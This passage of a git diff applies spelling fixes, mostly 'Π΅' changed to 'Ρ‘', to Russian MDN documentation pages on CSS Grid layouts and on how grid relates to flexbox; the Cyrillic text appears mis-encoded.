ΠΈΠ΄Ρ‘Ρ‚ послС строки 3, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ навигация находятся Π² ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π΄Π²ΡƒΡ… Π΄ΠΎΡ€ΠΎΠΆΠΊΠ°Ρ… строки.</p>
<p>ПанСль объявлСний находится Π½ΠΈΠΆΠ΅ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, поэтому начинаСтся с строки сСтки 4. Π—Π°Ρ‚Π΅ΠΌ Ρƒ нас Π΅ΡΡ‚ΡŒ основноС содСрТимоС ΠΈ Ρ„ΡƒΡ‚Π΅Ρ€, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΉΡΡ с col-start 4 ΠΈ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ 9 Ρ‚Ρ€Π΅ΠΊΠΎΠ², Π²Π΅Π΄ΡƒΡ‰ΠΈΡ… ΠΈΡ… ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ сСтки.</p>
@@ -297,7 +297,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
}
</pre>
-<p>НаконСц, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ Ρ‚Ρ€Π΅Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вСрсии этого ΠΌΠ°ΠΊΠ΅Ρ‚Π°. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚ΡŒΡΡ прямо ΠΏΠΎ сСткС, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ навигация пСрСмСщаСтся Π²Π½ΠΈΠ·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью с основным содСрТимым, Π° Π·Π°Ρ‚Π΅ΠΌ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью рядом с Π½Π΅ΠΉ. Π€ΡƒΡ‚Π΅Ρ€ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ вСсь ΠΌΠ°ΠΊΠ΅Ρ‚.</p>
+<p>НаконСц, ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΠΌ ΠΊ Ρ‚Ρ€Ρ‘Ρ…ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ вСрсии этого ΠΌΠ°ΠΊΠ΅Ρ‚Π°. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ Ρ€Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚ΡŒΡΡ прямо ΠΏΠΎ сСткС, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ навигация пСрСмСщаСтся Π²Π½ΠΈΠ·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью с основным содСрТимым, Π° Π·Π°Ρ‚Π΅ΠΌ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ панСлью рядом с Π½Π΅ΠΉ. Π€ΡƒΡ‚Π΅Ρ€ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ вСсь ΠΌΠ°ΠΊΠ΅Ρ‚.</p>
<pre class="brush: css">@media (min-width: 700px) {
.main-nav {
@@ -431,7 +431,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
<p>{{ EmbedLiveSample('layout_4', '800', '900') }}</p>
</div>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ всС это выглядит Π±ΠΎΠ»Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½Ρ‹ΠΌ. Однако ΠΈΠ½ΠΎΠ³Π΄Π° Ρƒ нас Π΅ΡΡ‚ΡŒ эти элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат большС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. Π‘Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΏΠ»ΠΎΡ…ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π»ΠΈ Π΄Π²Π° Ρ‚Ρ€Π΅ΠΊΠ°, ΠΈ Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΈΠΌΠΈ высокими. Π£ мСня Π΅ΡΡ‚ΡŒ класс <code>wide</code> для большого элСмСнта, ΠΈ я добавляю ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ {{cssxref("grid-column-end")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Β <code>span 2</code>. Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° grid столкнСтся с этим элСмСнтом, ΠΎΠ½ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ Π΅ΠΌΡƒ Π΄Π²Π° Ρ‚Ρ€Π΅ΠΊΠ°. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°Ρ… это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Ρ€Π°Π·Ρ€Ρ‹Π² Π² сСткС – Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π½Π΅Ρ‚ мСста для размСщСния Π΄Π²ΡƒΡ…Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΠΎΠ³ΠΎ элСмСнта.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ всС это выглядит Π±ΠΎΠ»Π΅Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½Ρ‹ΠΌ. Однако ΠΈΠ½ΠΎΠ³Π΄Π° Ρƒ нас Π΅ΡΡ‚ΡŒ эти элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат большС ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅. Π‘Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΏΠ»ΠΎΡ…ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π»ΠΈ Π΄Π²Π° Ρ‚Ρ€Π΅ΠΊΠ°, ΠΈ Ρ‚ΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ‚Π°ΠΊΠΈΠΌΠΈ высокими. Π£ мСня Π΅ΡΡ‚ΡŒ класс <code>wide</code> для большого элСмСнта, ΠΈ я добавляю ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ {{cssxref("grid-column-end")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ Β <code>span 2</code>. Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° grid столкнётся с этим элСмСнтом, ΠΎΠ½ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ Π΅ΠΌΡƒ Π΄Π²Π° Ρ‚Ρ€Π΅ΠΊΠ°. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°Ρ… это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ Ρ€Π°Π·Ρ€Ρ‹Π² Π² сСткС – Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π½Π΅Ρ‚ мСста для размСщСния Π΄Π²ΡƒΡ…Ρ‚Ρ€Π΅ΠΊΠΎΠ²ΠΎΠ³ΠΎ элСмСнта.</p>
<p><img alt="The layout has gaps as there is not space to layout a two track item." src="https://mdn.mozillademos.org/files/14751/11-grid-auto-flow-sparse.png" style="height: 812px; width: 800px;"></p>
@@ -522,7 +522,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_
<p>{{ EmbedLiveSample('layout_5', '800', '900') }}</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ использования автоматичСского размСщСния с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, примСняСмыми ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ элСмСнтам, ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выводится CMS, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π³Π΄Π΅ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ элСмСнты ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ класс ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ элСмСнтам, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² HTML.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ использования автоматичСского размСщСния с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, примСняСмыми ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ элСмСнтам, ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ с ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выводится CMS, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π³Π΄Π΅ Ρƒ вас Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΠ΅ΡΡ элСмСнты ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ класс ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ элСмСнтам, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ Π² HTML.</p>
</div>
<h2 id="Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΠ΅_исслСдования">Π”Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠΈΠ΅ исслСдования</h2>
diff --git a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html
index db89d68fae..c479b58054 100644
--- a/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html
+++ b/files/ru/web/css/css_grid_layout/relationship_of_grid_layout/index.html
@@ -18,7 +18,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<p>Π’ ΠΏΠ΅Ρ€ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡΡΒ flexbox для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько блоков. ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ у нас Π΅ΡΡ‚ΡŒ ΠΏΡΡ‚ΡŒ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅, Π·Π°Π΄Π°Π΄ΠΈΠΌ ΠΈΠΌ значСния flex-свойств Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ увСличивался ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π»ΡΡ, начиная с базового Π² 200px.</p>
-<p>Π’Π°ΠΊΠΆΠ΅ установим свойство {{cssxref("flex-wrap")}} Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>wrap</code>Β . Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, что Ссли свободного пространства Π² нашСм ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Ρ‚ΡŒ для размСщСния элСмСнта в 200px, наши элСмСнты спокойно ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΡƒΡ‚ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку.Β </p>
+<p>Π’Π°ΠΊΠΆΠ΅ установим свойство {{cssxref("flex-wrap")}} Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>wrap</code>Β . Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, что Ссли свободного пространства Π² нашСм ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ Ρ…Π²Π°Ρ‚Π°Ρ‚ΡŒ для размСщСния элСмСнта в 200px, наши элСмСнты спокойно ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΡƒΡ‚ Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку.Β </p>
<div id="onedtwod">
<div class="hidden">
@@ -67,7 +67,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h3 id="Π’ΠΎΡ‚_ΠΆΠ΅_ΠΌΠ°ΠΊΠ΅Ρ‚_Π½ΠΎ_с_CSS_Π³Ρ€ΠΈΠ΄Π°ΠΌΠΈ">Π’ΠΎΡ‚ ΠΆΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚, Π½ΠΎ с CSS Π³Ρ€ΠΈΠ΄Π°ΠΌΠΈ</h3>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаСм Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый ΠΌΠ°ΠΊΠ΅Ρ‚, Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π³Ρ€ΠΈΠ΄Ρ‹. На этот Ρ€Π°Π· Ρƒ нас Ρ‚Ρ€ΠΈ Ρ‚Ρ€Π΅ΠΊΠ°-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² <code>1fr</code>Β . И ΠΏΡ€ΠΈ этом Π½Π°ΠΌ Π½Π΅ трСбуСтся Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ свойства Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ ячСйкС созданного Π³Ρ€ΠΈΠ΄Π°. Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, наши элСмСнты Π»Π΅ΠΆΠ°Ρ‚ Π² ТСсткой сСткС ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈ по строкС, ΠΈ ΠΏΠΎΒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ нас ΠΏΡΡ‚ΡŒ элСмСнтов, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΏΡƒΡΡ‚ΡƒΡŽ ячСйку Π² ΠΊΠΎΠ½Ρ†Π΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строки.Β </p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ создаём Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый ΠΌΠ°ΠΊΠ΅Ρ‚, Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π³Ρ€ΠΈΠ΄Ρ‹. На этот Ρ€Π°Π· Ρƒ нас Ρ‚Ρ€ΠΈ Ρ‚Ρ€Π΅ΠΊΠ°-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² <code>1fr</code>Β . И ΠΏΡ€ΠΈ этом Π½Π°ΠΌ Π½Π΅ трСбуСтся Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ свойства Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ ячСйкС созданного Π³Ρ€ΠΈΠ΄Π°. Как Π²ΠΈΠ΄ΠΈΡ‚Π΅, наши элСмСнты Π»Π΅ΠΆΠ°Ρ‚ Π² Тёсткой сСткС ΠΈ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΈ по строкС, ΠΈ ΠΏΠΎΒ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρƒ нас ΠΏΡΡ‚ΡŒ элСмСнтов, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅Β ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΏΡƒΡΡ‚ΡƒΡŽ ячСйку Π² ΠΊΠΎΠ½Ρ†Π΅ Π²Ρ‚ΠΎΡ€ΠΎΠΉ строки.Β </p>
<div class="Two_Dimensional_With_Grid">
<div class="hidden">
@@ -116,9 +116,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h3 id="Π§Ρ‚ΠΎ_Π²Π°ΠΆΠ½Π΅Π΅_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚_ΠΈΠ»ΠΈ_ΠΌΠ°ΠΊΠ΅Ρ‚">Π§Ρ‚ΠΎ Π²Π°ΠΆΠ½Π΅Π΅: ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠ»ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚?</h3>
-<p>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΡŽ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² ΠΎΠ΄Π½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² Π΄Π²ΡƒΡ… направлСниях, сущСствуСт Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ способ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, Π½ΡƒΠΆΠ΅Π½ Π»ΠΈ Π’Π°ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚, основанный Π½Π° flexbox ΠΈΠ»ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚, основанный Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ…. Flexbox Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ исходя ΠΈΠ· Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π˜Π΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ случай использования flexbox - ΠΊΠΎΠ³Π΄Π° Ρƒ Вас Π΅ΡΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ элСмСнтов, Π° Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π’Ρ‹ позволяСтС Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ содСрТимого ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΎΠ²Β Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, сколько пространства Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°Π±Ρ€Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт. Если элСмСнты пСрСходят Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку, ΠΎΠ½ΠΈ Π·Π°Π±ΠΈΡ€Π°ΡŽΡ‚ для сСбя пространство, исходя ΠΈΠ· своих Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΈ Ρ‚ΠΎΠ³ΠΎ свободного мСста, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΅ΡΡ‚ΡŒ Π² <em>этой строкС</em>.</p>
+<p>Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΡŽ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² ΠΎΠ΄Π½ΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ ΠΈ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ Π² Π΄Π²ΡƒΡ… направлСниях, сущСствуСт Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ способ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, Π½ΡƒΠΆΠ΅Π½ Π»ΠΈ Π’Π°ΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚, основанный Π½Π° flexbox ΠΈΠ»ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚, основанный Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ…. Flexbox Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ исходя ΠΈΠ· Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Π˜Π΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ случай использования flexbox - ΠΊΠΎΠ³Π΄Π° Ρƒ Вас Π΅ΡΡ‚ΡŒ Π½Π°Π±ΠΎΡ€ элСмСнтов, Π° Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°ΡΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ Ρ€Π°Π²Π½ΠΎΠΌΠ΅Ρ€Π½ΠΎ. Π’Ρ‹ позволяСтС Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ содСрТимого ΡΠ»Π΅ΠΌΠ΅Π½Ρ‚ΠΎΠ²Β Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, сколько пространства Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°Π±Ρ€Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт. Если элСмСнты пСрСходят Π½Π° Π½ΠΎΠ²ΡƒΡŽ строку, ΠΎΠ½ΠΈ Π·Π°Π±ΠΈΡ€Π°ΡŽΡ‚ для сСбя пространство, исходя ΠΈΠ· своих Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΈ Ρ‚ΠΎΠ³ΠΎ свободного мСста, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΅ΡΡ‚ΡŒ Π² <em>этой строкС</em>.</p>
-<p>Π“Ρ€ΠΈΠ΄ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, исходя ΠΈΠ· ΠΌΠ°ΠΊΠ΅Ρ‚Π°. Когда Π’Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ CSS Grid Layout, Π’Ρ‹ создаСтС структуру ΠΈ Π·Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ элСмСнты ΠΈΠΌΠ΅Π½Π½ΠΎ Π² этой структурС ΠΈΠ»ΠΈ ΠΆΠ΅ позволяСтС ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ Π°Π²Ρ‚ΠΎ-размСщСния Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнты Π² Π³Ρ€ΠΈΠ΄-ячСйках Π² соотвСтствии с ТСстко Π·Π°Π΄Π°Π½Π½ΠΎΠΉ сСткой. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, сущСствуСт 